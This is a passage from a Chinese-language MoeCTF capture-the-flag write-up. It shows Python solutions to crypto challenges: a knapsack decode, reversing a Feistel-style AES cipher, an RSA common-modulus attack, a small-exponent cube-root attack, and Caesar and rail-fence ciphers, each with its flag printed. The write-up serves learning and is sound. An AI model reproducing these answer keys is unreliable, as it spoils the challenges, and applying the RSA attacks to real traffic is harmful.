class="token number">2171712751463320729665634385979825928332317622</span><span class="token punctuation">,</span> <span class="token number">7968526190188064156742281507099763347000210904</span><span class="token punctuation">,</span> <span class="token number">20302513556821857703528100337806260797703562338</span><span class="token punctuation">,</span> <span class="token number">54967103106163860243927426134510653397499429384</span><span class="token punctuation">,</span> <span class="token number">189866376897538250029834405810321956080892995934</span><span class="token punctuation">,</span> <span class="token number">516088075785491414669664215795496674103100750375</span><span class="token punctuation">,</span> <span class="token number">1531616665488077085604100033058238685259376456655</span><span class="token punctuation">,</span> <span class="token number">4795563798371064843556375420641263389159268373753</span><span class="token punctuation">,</span> <span class="token number">12715206263244537077480789152826620386135239585589</span><span class="token punctuation">,</span> <span class="token number">45628223673569886022145657218662773486560769778049</span><span class="token punctuation">,</span> <span class="token number">127988774487590162169660910342623736153210927472871</span><span class="token punctuation">,</span> <span class="token number">429761810968391607465089641939438991272623610573254</span><span class="token punctuation">,</span> <span class="token number">1694286408402338132220805654166083638884822137745848</span><span class="token punctuation">,</span> <span class="token number">5577419986858786911316434594350519553014729018524982</span><span class="token punctuation">,</span> <span class="token number">22146179230778265190752372551893625479326089828877879</span><span class="token punctuation">,</span> <span class="token number">78983119075073724439850825731329386811892547014513513</span><span class="token punctuation">,</span> <span class="token number">165805826557531832743325076551678254671357810872202277</span><span class="token punctuation">,</span> <span class="token number">525687524776397669648788242907896052104054917192402349</span><span class="token punctuation">,</span> <span class="token number">1596680185629512867035574394423929715498386636216930988</span><span class="token punctuation">,</span> <span class="token number">3808351509446054183279144714875260973968494634290203802</span><span class="token punctuation">,</span> <span class="token number">10792542598439044383994436390450612942036864538927761344</span><span class="token punctuation">,</span> <span class="token number">31776077718298264756461043701077481610506447838959767949</span><span class="token punctuation">,</span> <span class="token number">69483787236434708634666641366101673156349500969799745632</span><span class="token punctuation">,</span> <span class="token number">212620878051727200345257734337176214877612639791408110401</span><span class="token punctuation">,</span> <span class="token number">565705372069455623425268706185184158331866127768259060570</span><span class="token punctuation">,</span> <span class="token number">2228971348185635371906791535156337404926063871528397270892</span><span class="token punctuation">,</span> <span class="token number">4859328204121938264839760465087547752629065763656619388434</span><span class="token punctuation">,</span> <span class="token number">14185348803209161448182653444177464165713091554806223414499</span><span class="token punctuation">,</span> <span class="token number">44242932119616103779840255273986809836494122475150635493273</span><span class="token punctuation">,</span> <span class="token number">156176016196847319874949580221731690886061627436916661422852</span><span class="token punctuation">,</span> <span class="token number">472567672907289753186461661432798790751774534772655287936877</span><span class="token punctuation">,</span> <span class="token number">1765317440470718113352833182911767208733594355879647245836603</span><span class="token punctuation">,</span> <span class="token number">5835719030771522391675663002032404790451900100534570526468736</span><span class="token punctuation">,</span> <span class="token number">14528961633147270325279483890277955669830128461595478399405580</span><span class="token punctuation">,</span> <span class="token number">53503137764341373520101774208921450303897226002280491351371881</span><span class="token punctuation">,</span> <span class="token number">153340302591307960181257267214621247064964249027062324798966650</span><span class="token punctuation">,</span> <span class="token number">467036429085212303265974827129085622046910166509299763268535756</span><span class="token punctuation">,</span> <span class="token number">1760478013800716951650816419888923889893355872867499404847043361</span><span class="token punctuation">,</span> <span class="token number">4791886951911545137378952129838133145784256723738609871941913863</span><span class="token punctuation">,</span> <span class="token number">19126760116038883506408830737976498053029475253123685318001466609</span><span class="token punctuation">,</span> <span class="token number">51635927378821965754946959553487670084314385367430813170544188707</span><span class="token punctuation">,</span> <span class="token number">203944552994591250724882161307279862158139878326498083669171922709</span><span class="token punctuation">,</span> <span class="token number">718868928147325949276701359623063723395455731358210896767864810436</span><span class="token punctuation">,</span> <span class="token number">2005627527854915017699090052821431775394584514441537184407714355949</span><span class="token punctuation">,</span> <span class="token number">6108484926321410509000933490330125849664844216966621898372849074206</span><span class="token punctuation">,</span> <span class="token number">15273733259375332107091552084526951416159646708621190826219429490015</span><span class="token punctuation">,</span> <span class="token number">34145117254940196604842578208457005181132408450899191627170638987883</span><span class="token punctuation">,</span> <span class="token number">120825229084143066199868275091825674337472013226784591902132114229359</span><span class="token punctuation">,</span> <span class="token number">387687667198606192147021527980207738864855944986764666796629571317797</span><span class="token punctuation">,</span> <span class="token number">1461874344207808204456192497546273455901754164965322967295868406627707</span><span class="token punctuation">,</span> <span class="token number">3258300231591322626530795072101331694347928535549768492906530809069244</span><span class="token punctuation">,</span> <span class="token number">8874418273687545553519370439384854004509761935319681848589844232674343</span><span class="token punctuation">,</span> <span class="token number">26555971104148502495508475192114409958713364020252024170586326291995544</span><span class="token punctuation">,</span> <span class="token number">56653286369586527413345416396708661964062474995701742952261047069623359</span><span class="token punctuation">,</span> <span class="token number">154383566127721041301459355493059400704799197964228029280865862358894596</span><span class="token punctuation">,</span> <span class="token number">341393868848806018386217706353404785528207249510734290203621418976352706</span><span class="token punctuation">,</span> <span class="token number">1171362524761660822765817023463786914069613269413196584856696440695273738</span><span class="token punctuation">,</span> <span class="token number">4194882148022101614597714583113090146333385168895367467002069867303753334</span><span class="token punctuation">,</span> <span class="token number">10081717223153632058965668126630772845024206141591578024505075742926631137</span><span class="token punctuation">,</span> <span class="token number">39590555580101758090745061229221178837429140073072263518741551403983751377</span><span class="token punctuation">,</span> <span class="token number">124978669991117804453179514660098523434116842472570073354436333226196401318</span><span class="token punctuation">,</span> <span class="token number">285677744249355467333640461312079508294900634926466871637187648581093663108</span><span class="token punctuation">,</span> <span class="token number">685643590088926190360498081484403342771108281930489395367499236756131358960</span><span class="token punctuation">,</span> <span class="token number">2509513194338799699151211958956210034789618340347017416940796124375457114430</span><span class="token punctuation">,</span> <span class="token number">7869725510782496795692771133398729561144872690341264618424961946628895219979</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="3"></td><td><pre>l_list<span class="token operator">=</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="4"></td><td><pre>l_list<span class="token operator">=</span>l_list<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="5"></td><td><pre></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>l_list<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="7"></td><td><pre>    flag<span class="token operator">=</span>flag<span class="token operator">+</span>l_list<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token operator">*</span>backpack<span class="token punctuation">[</span>i<span class="token punctuation">]</span></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr></table></figure><blockquote>
<p><em><strong>FesitelTripple</strong></em></p>
<blockquote>
<p><s>有点像 DES，可惜不是，但是差不太多 emmm</s><br />
<s> 其实没太看懂，瞎改了一通反正跑出来了（bushi</s><br />
DES 里的加密和解密最后一轮是不会左右互换的，但是这里最后一轮还会互换，并且密钥依次用了 keysteam 里的 16 位<br />
那么把 range 改成倒着来的，然后解密换成加密，加密换成解密就好了</p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> <span class="token operator">*</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> AES</pre></td></tr><tr><td data-num="3"></td><td><pre></pre></td></tr><tr><td data-num="4"></td><td><pre></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">def</span> <span class="token function">encrypt</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">,</span> keystream<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="6"></td><td><pre>    <span class="token keyword">assert</span> <span class="token builtin">len</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">32</span></pre></td></tr><tr><td data-num="7"></td><td><pre>    <span class="token keyword">assert</span> <span class="token builtin">len</span><span class="token punctuation">(</span>keystream<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">48</span></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre>    left <span class="token operator">=</span> plaintext<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">16</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="10"></td><td><pre>    right <span class="token operator">=</span> plaintext<span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">:</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="11"></td><td><pre></pre></td></tr><tr><td data-num="12"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="13"></td><td><pre>        </pre></td></tr><tr><td data-num="14"></td><td><pre>        aes <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>keystream<span class="token punctuation">[</span>i <span class="token operator">*</span> <span class="token number">16</span><span class="token punctuation">:</span>i <span class="token operator">*</span> <span class="token number">16</span> <span class="token operator">+</span> <span class="token number">16</span><span class="token punctuation">]</span><span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_ECB<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="15"></td><td><pre>        new_right <span class="token operator">=</span> long_to_bytes<span class="token punctuation">(</span>bytes_to_long<span class="token punctuation">(</span>aes<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>right<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">^</span> bytes_to_long<span class="token punctuation">(</span>left<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="16"></td><td><pre>        new_left <span class="token operator">=</span> right</pre></td></tr><tr><td data-num="17"></td><td><pre>        left <span class="token operator">=</span> new_left</pre></td></tr><tr><td data-num="18"></td><td><pre>        right <span class="token operator">=</span> new_right</pre></td></tr><tr><td data-num="19"></td><td><pre>    <span class="token keyword">return</span> left <span class="token operator">+</span> right</pre></td></tr><tr><td data-num="20"></td><td><pre></pre></td></tr><tr><td data-num="21"></td><td><pre></pre></td></tr><tr><td data-num="22"></td><td><pre><span class="token keyword">def</span> <span class="token function">decrypt</span><span class="token punctuation">(</span>ciphertext<span class="token punctuation">,</span> keystream<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="23"></td><td><pre>    <span class="token keyword">assert</span> <span class="token builtin">len</span><span class="token punctuation">(</span>ciphertext<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">32</span></pre></td></tr><tr><td data-num="24"></td><td><pre>    <span class="token keyword">assert</span> <span class="token builtin">len</span><span class="token punctuation">(</span>keystream<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">48</span></pre></td></tr><tr><td data-num="25"></td><td><pre></pre></td></tr><tr><td data-num="26"></td><td><pre>    left <span class="token operator">=</span> ciphertext<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">16</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="27"></td><td><pre>    right <span class="token operator">=</span> ciphertext<span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">:</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="28"></td><td><pre></pre></td></tr><tr><td data-num="29"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="30"></td><td><pre>        </pre></td></tr><tr><td data-num="31"></td><td><pre>        aes <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>keystream<span class="token punctuation">[</span>i <span class="token operator">*</span> <span class="token number">16</span><span class="token punctuation">:</span>i <span class="token operator">*</span> <span class="token number">16</span> <span class="token operator">+</span> <span class="token number">16</span><span class="token punctuation">]</span><span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_ECB<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="32"></td><td><pre>        old_right <span class="token operator">=</span> left</pre></td></tr><tr><td data-num="33"></td><td><pre>        old_left <span class="token operator">=</span> long_to_bytes<span class="token punctuation">(</span>bytes_to_long<span class="token punctuation">(</span>right<span class="token punctuation">)</span> <span class="token operator">^</span> bytes_to_long<span class="token punctuation">(</span>aes<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>old_right<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="34"></td><td><pre>        left <span class="token operator">=</span> old_left</pre></td></tr><tr><td data-num="35"></td><td><pre>        right <span class="token operator">=</span> old_right</pre></td></tr><tr><td data-num="36"></td><td><pre></pre></td></tr><tr><td data-num="37"></td><td><pre>    <span class="token keyword">return</span> left <span class="token operator">+</span> right</pre></td></tr><tr><td data-num="38"></td><td><pre></pre></td></tr><tr><td data-num="39"></td><td><pre></pre></td></tr><tr><td data-num="40"></td><td><pre>cipher<span class="token operator">=</span>long_to_bytes<span class="token punctuation">(</span><span class="token number">8465484536296110246056264738507061716988653458463168290845919961738127701895</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="41"></td><td><pre>key1 <span class="token operator">=</span> <span class="token string">b'it_is_just_the_first_time_key_and_encrypt_twice~'</span></pre></td></tr><tr><td data-num="42"></td><td><pre>key2 <span class="token operator">=</span> <span class="token string">b'y0u can d0 what y0u w4nt t0 do!Go0d wishes~do it'</span></pre></td></tr><tr><td data-num="43"></td><td><pre></pre></td></tr><tr><td data-num="44"></td><td><pre>cipher <span class="token operator">=</span> decrypt<span class="token punctuation">(</span>cipher<span class="token punctuation">,</span> key1<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="45"></td><td><pre>cipher <span class="token operator">=</span> encrypt<span class="token punctuation">(</span>cipher<span class="token punctuation">,</span> key2<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="46"></td><td><pre>flag <span class="token operator">=</span> decrypt<span class="token punctuation">(</span>cipher<span class="token punctuation">,</span> key1<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="47"></td><td><pre></pre></td></tr><tr><td data-num="48"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="49"></td><td><pre><span class="token comment">#moectf&#123;th3_f3sit3l_1s_symmetric&#125;</span></pre></td></tr></table></figure><blockquote>
<blockquote>
<p><em><strong>NumberTheory-Powwwwwer</strong></em></p>
<blockquote>
<p>是 RSA 一种常见的攻击方式：共模攻击。<br />
<s>其实是网上嫖的代码 QAQ</s></p>
</blockquote>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> <span class="token operator">*</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">import</span> gmpy2</pre></td></tr><tr><td data-num="3"></td><td><pre>e1 <span class="token operator">=</span> <span class="token number">0x114514</span></pre></td></tr><tr><td data-num="4"></td><td><pre>e2 <span class="token operator">=</span> <span class="token number">11451401</span></pre></td></tr><tr><td data-num="5"></td><td><pre>n <span class="token operator">=</span> <span class="token number">136101507305579392638535644920761633964164170724862786826983346232384615490056114520867809528578619044234996682189743771790469301482774597055261893015794231752161620186891313083697906603842794202124169703689691049507643124840305144271549786654248958903748746153284903228556081709492696702282014035715848536699</span></pre></td></tr><tr><td data-num="6"></td><td><pre></pre></td></tr><tr><td data-num="7"></td><td><pre>c1<span class="token operator">=</span><span class="token number">47220438825147485602004110821622560065904207675219860468929327492230243119464967323930295623259686691976072363819976125368307866223981062386682077438030452670319556977872343275419275297828846355087444641575933688543206152050119271402939885941719672725566836549228027040543887994457719131600949478670978241146</span></pre></td></tr><tr><td data-num="8"></td><td><pre>c2<span class="token operator">=</span><span class="token number">115435415972673976853578931507112950322194896557724940548983105717498084920603530063295392396344585245149536619546139549595643165285610305977637286040529163780201012187105549728000887169595946039777889559399483628995380569296124138575774025562472143420878790970785857061634021973901034670780393435693955936244</span></pre></td></tr><tr><td data-num="9"></td><td><pre></pre></td></tr><tr><td data-num="10"></td><td><pre> </pre></td></tr><tr><td data-num="11"></td><td><pre>_<span class="token punctuation">,</span> r<span class="token punctuation">,</span> s <span class="token operator">=</span> gmpy2<span class="token punctuation">.</span>gcdext<span class="token punctuation">(</span>e1<span class="token punctuation">,</span> e2<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="12"></td><td><pre> </pre></td></tr><tr><td data-num="13"></td><td><pre>m <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>c1<span class="token punctuation">,</span> r<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>c2<span class="token punctuation">,</span> s<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n</pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>m<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="15"></td><td><pre><span class="token comment">#moectf&#123;s0_Powwwwwwwwwwwww3r!&#125;</span></pre></td></tr></table></figure><blockquote>
<p><em><strong>NumberTheory-MyGrandson</strong></em></p>
<blockquote>
<p>其实比较明显，c 比 n 小很多，而且 e=3，属于是取模取了个寂寞。<br />
而且不敢确定的话可以把 c 列表打出来看看，每个元素其实都是一样的，也就是说 c 列表里实际上都是 m 的三次方。那么我们把 c 直接开三次方就可以了。<br />
不过 pow 函数有精度问题，所以用 gmpy2.iroot 开一下。</p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span><span class="token operator">*</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">import</span> gmpy2</pre></td></tr><tr><td data-num="3"></td><td><pre></pre></td></tr><tr><td data-num="4"></td><td><pre>c<span class="token operator">=</span><span class="token number">25681920037857462308038008456804236725305902130578298860433144085656782676411434281544156794249690534545397408244321828543334304937398521739382233631303709676426573143503446051379370337969083171791612381925477</span></pre></td></tr><tr><td data-num="5"></td><td><pre>m<span class="token operator">=</span>gmpy2<span class="token punctuation">.</span>iroot<span class="token punctuation">(</span>c<span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>m<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="7"></td><td><pre></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token comment">#输出：(mpz (2950365559902224967742067902659102097834402066133060751891986702825853), True)</span></pre></td></tr><tr><td data-num="10"></td><td><pre></pre></td></tr><tr><td data-num="11"></td><td><pre></pre></td></tr><tr><td data-num="12"></td><td><pre>m<span class="token operator">=</span><span class="token number">2950365559902224967742067902659102097834402066133060751891986702825853</span></pre></td></tr><tr><td data-num="13"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>m<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token comment">#moectf&#123;Chinese_Remain_Theory&#125;</span></pre></td></tr></table></figure><h1 id="classical-cryptography"><a class="anchor" href="#classical-cryptography">#</a> Classical Cryptography</h1>
<blockquote e3sy_Au9u5t1ne!="">
<p><em><strong>Augustine's Way</strong></em></p>
<blockquote>
<p>npfdug{f3tz_Bv9v5u1of!}<br />
 就是凯撒，直接爆破。<br />
moectf</p>
</blockquote>
</blockquote>
<blockquote>
<p><em><strong>OldButPopular</strong></em></p>
<blockquote>
<p>凯撒＋栅栏，先凯撒，找首字母是 m 的，就是要找的字符串。<br />
然后用在线网站解不太对，看一下长度发现是 38，数一下 moectf 这几个字符的索引，发现分栏的方式应该是 8 8 8 7 7，跟标准的栅栏密码稍微差那么一点 <s>，不然真成白给题了。</s></p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre>a<span class="token operator">=</span><span class="token string">"mf3n_u31o&#123;rtg7_dec__0_w&#125;c4wt_t0t540ohr"</span></pre></td></tr><tr><td data-num="2"></td><td><pre>a1<span class="token operator">=</span>a<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">8</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="3"></td><td><pre>a2<span class="token operator">=</span>a<span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">:</span><span class="token number">16</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="4"></td><td><pre>a3<span class="token operator">=</span>a<span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">:</span><span class="token number">24</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="5"></td><td><pre>a4<span class="token operator">=</span>a<span class="token punctuation">[</span><span class="token number">24</span><span class="token punctuation">:</span><span class="token number">31</span><span class="token 